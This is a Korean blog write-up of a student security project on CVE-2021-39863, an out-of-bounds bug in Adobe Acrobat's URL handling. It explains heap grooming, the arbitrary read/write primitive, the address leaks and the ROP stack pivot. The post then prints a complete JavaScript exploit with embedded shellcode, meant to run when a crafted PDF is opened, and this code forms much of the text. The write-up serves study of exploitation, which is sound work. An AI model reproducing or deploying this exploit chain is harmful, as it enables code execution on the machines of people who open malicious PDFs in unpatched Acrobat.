Notice
Recent Posts
Recent Comments
Link
«   2025/03   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
Archives
Today
Total
관리 메뉴

ENFJ_Blog

Adobe Acrobat 1-day vulnerability CVE-2021-39863 본문

Pwn

Adobe Acrobat 1-day vulnerability CVE-2021-39863

ENFJ_T 2024. 7. 27. 18:45

https://whs-segfault.notion.site/e26bf9af0ecc4952b42ed18fb66d97fe

https://whs-segfault.notion.site/WBS-97600ed884bc49ac8f572a117fcae6fd

https://github.com/WHS-SEGFAULT/CVE-2021-39863

이 프로젝트는 화이트햇 스쿨에서 시작한 프로젝트로, WHS{segfault} 팀에서 한 프로젝트이다. 두 팀 V8팀과 Adobe 팀으로 나뉘어 진행했으며 나는 Adobe팀에 속해 있었다.

Root Cause

 취약점은 IA32.api 파일에서 URL을 연결하는 과정에서 발생한다.

Base URL이 UTF-16BE이고, Relative URL이 ANSI encoding 방식와 같이 다를 때, 연결할 때 Relative URL을 UTF-16BE로 인식하게 된다. 이렇게 되면 서로의 종단 문자가 다르게 인식하기 때문에 OOB가 일어나게 된다. 이걸 이용해 pdf가 열리게 되면 내장 JS script로 해킹을 하는 익스플로잇을 만들 수 있다.

root cause

Exploitation

 우리가 exploit을 성공하기 위해서는 미리 취약점을 공격했을 때 r/w primitive를 구현하기 위해서 힙을 준비해야 한다.

힙을 준비할 때에는 힙이 다 붙어 있어야 하는데 그러기 위해서 같은 크기의 할당을 여러번 해 Windows 힙 할당자인 LFH를 활성화 한다. 그리고 exploit을 위한 UserBlock을 생성한다. 이 UserBlock은 연결된 URL이 저장될 공간이다. 똑같은 절차를 거쳐서 relative URL이 저장될 힙 공간을 만든다. 단 UserBlock에 r/w primitive를 구현하기 위해서 byteLength를 0xFFFF로 덮어야 하는데 그래서 저장될 Hole을 기준으로 byteLength 부분을 0xFFFF로 저장해놓는다.

 취약점을 발생시킬 수 있는 함수인 app.launchURL 함수를 호출해 취약점을 트리거 한다. 트리거 후 연결된 URL은 byteLength가 0xFFFF 이기 때문에 데이터를 정수형으로 조작할 수 있는 기능을 가진 객체인 DataView 객체를 설정하게 되면 0xFFFF 만큼 값을 읽고 쓸 수 있게 된다. 그 조작을 통해서 뒤에 있는 ArrayBuffer의 byteLength를 -1로 조작하게 되면 범위가 최대로 되어 그 ArrayBuffer를 기준으로 메모리를 상대적으로 읽고 쓸 수 있게 된다.

 우리의 목표는 절대적으로 읽고 쓰는 것이기 때문에 주소를 leak 해야된다. 그러기 위해서 다른 UserBlock을 이용하는데, UserBlock header에는 Bitmapdata라는 값을 가르키는 포인터가 그 바로 앞에 같이 존재하게 된다. 그 부분까지 UserBlock의 시그니쳐를 찾아서 pointer를 통해서 베이스를 leak한다.

  • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
  • startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04

 이를 바탕으로 절대 주소로 접근할 수 있는 R/W primitive를 구현하였다.

그리고 익스플로잇을 위해 Stack pivoting을 진행하려고 하는데, 이를 위해 제어할 수 있는 많은 힙 공간을 할당한다.

  1. 이렇게 할당된 Heap 영역은 쓰기 및 읽기 권한이 있으므로 spray된 Heap 공간에 있는 stack이 자라면서 쓰기 권한이 없어서 발생하는 에러를 막아준다.
  2. 하지만 항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 항상 exploit이 성공하지는 않는다.

 Fake Stack에 실행 권한을 부여하기 위해 VirtualProtect 함수를 이용하는데, Escript.api에 베이스를 leak한다. 그리고 베이스부터 VirtualProtect 까지 오프셋을 통해 leak한다. 또 property가 없을 때 호출되는 getProperty()를 이용하기 위해서 ROPgadget을 찾고 getProperty를 변조한다. (ROPgadget은 stack pivoting을 위한 가젯이다)

 ROPgadget이 옮기는 주소를 기준으로 new stack을 설정한다. 그 스택은 다음과 같은 역할을 한다.

  1. ROP Gadget 실행 이후 eip는 VirtualProtect 함수를 가리킨다.
  2. 새로운 Stack 구조에 따라 VirtualProtect 함수는 ShellCode가 저장된 영역에 실행 권한을 부여한다.
  3. VirtualProtect 함수가 종료되고 shellcode를 실행한다.

만들어진 Fake stack의 모습

이렇게 만들어진 스택을 없는 property를 호출해서 덮여진 getProperty를 실행하게 되면, 위 기능들이 실행되게 되면서 쉘코드가 실행된다.

최종 Exploit Code

console.show()

function gc() {
  new ArrayBuffer(3 * 1024 * 1024 * 100);
}

// Size of relative URL
var strRelUrlSize = 0x600;
// Size of concated URL (Size of base URL + Size of relative URL)
var strConUrlSize = 0x800;

// Generate Heap Area with given blocksize (including Heap shunk Header)
function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// Create Heap Area to store relative URL adjacent with exploit string to overwrite  byteLength field to -1
var arrB = new Array(0xE0);
// length of sprayStr1 = 2*5 + 2*((0x600/2) - 1 - 5) = 0xa + 2*(0x300 - 6) = 0x600 - 0x2 : Size of total string excluding 2 byte null (UTF16-BE)
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  // UTF16-BE는 2byte가 문자 1개 => null 2byte 포함 0x600 크기의 heap chunk에 할당하기 위해서는 0x300개의 문자 필요
  // (strRelUrlSize/2) - 1 = 0x600/2 - 1 = 0x300 - 1 : null 문자 제와 0x2FF개의 문자
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// make multiple hole
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// Create Heap Area to store concatted URL with ArrayBuffer object for Arbitrary R/W
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// make multiple hole
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// garbage collection
gc();

// Trigger vulnerable
try {
    this.submitForm('a'.repeat(strRelUrlSize - 1));
} catch (err) { }

// Corrupt byteLength field in ArrayBuffers next to the concatted URL ArrayBuffer
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// Find the latest corrupted ArrayBuffer object and set DataView object of it (rw)
if (rw) {
    // START getArbitraryRW
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    // go until find UserBlock signature (0xF0E0D0C0)
    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }

    if (BitMapBuf) {
        // StartAddr : Address of start of data in ArrayBuffer
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    // END getArbitraryRW

        // START helper function to R/W Arbitrary address
        function readUint32(dataView, readAddr) {
            var offsetAddr = readAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.getUint32(offsetAddr, true);
        }

        function writeUint32(dataView, writeAddr, value) {
            var offsetAddr = writeAddr - StartAddr;
            if (offsetAddr < 0) {
                offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
            }
            return dataView.setUint32(offsetAddr, value, true);
        }
        // END helper function to R/W Arbitrary address

        // sprayHeap for new Stack
        var heapSegmentSize = 0x10000;
        heapSpray = new Array(0x8000);
        for (var i = 0; i < 0x8000; i++) {
            heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
        }

        // START getAddressLeaks
        // leak and calculate the EScript base address
        EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;
        
        // leak VirtualProtect address in kernel32.dll wich is used by EScript
        VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);
        
        // Set Shellcode
        var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
        var shellcodesize = shellcode.length * 4;

				// Write Shell Code
        for (var i = 0; i < shellcode.length; i++) {
            writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
        }

				// Setup new Stack
        var newStackAddr = 0x5D000001;
        var offset = 0x1050AE;
        
        writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP of previous Stack Frame
        writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP of VirtualProtect Stack Frame
        writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
        writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
        writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
        writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

				// get address of vtable
        var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
        var dvShape = readUint32(rw, dataViewObjPtr);
        var dvShapeBase = readUint32(rw, dvShape);
        var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
        
        // Overwrtite address of getProperty in vtable to ROP gadget
        writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

				// try to access unknown property => call overwritten getProperty in vtable
        var foo = rw.execFlowHijack;
    }
}

느낀점

협업의 중요성과 방법에 대해 느꼈고, 이 프로젝트를 통해서 윈도우 분석도 어떻게 진행되는지 알게 되어서 너무 값진 경험이었다. 이 후에도 고도화 프로젝트를 따로 진행하는데 기대가 된다. 팀원들이 너무 친절하게 잘 대해주고 도와주셔서 너무 고마웠고, 소통도 잘 된거 같아서 좋았다. 

'Pwn' 카테고리의 다른 글

Bypass Seccomp-1 (wargame)  (0) 2024.07.30
SECCOMP  (0) 2024.07.15
[White Hat School] a_piece_of_pie  (0) 2024.03.28
[dreamhack wargame] Gaia문제  (0) 2024.01.25
Use-After-Free(UAF)  (0) 2023.10.20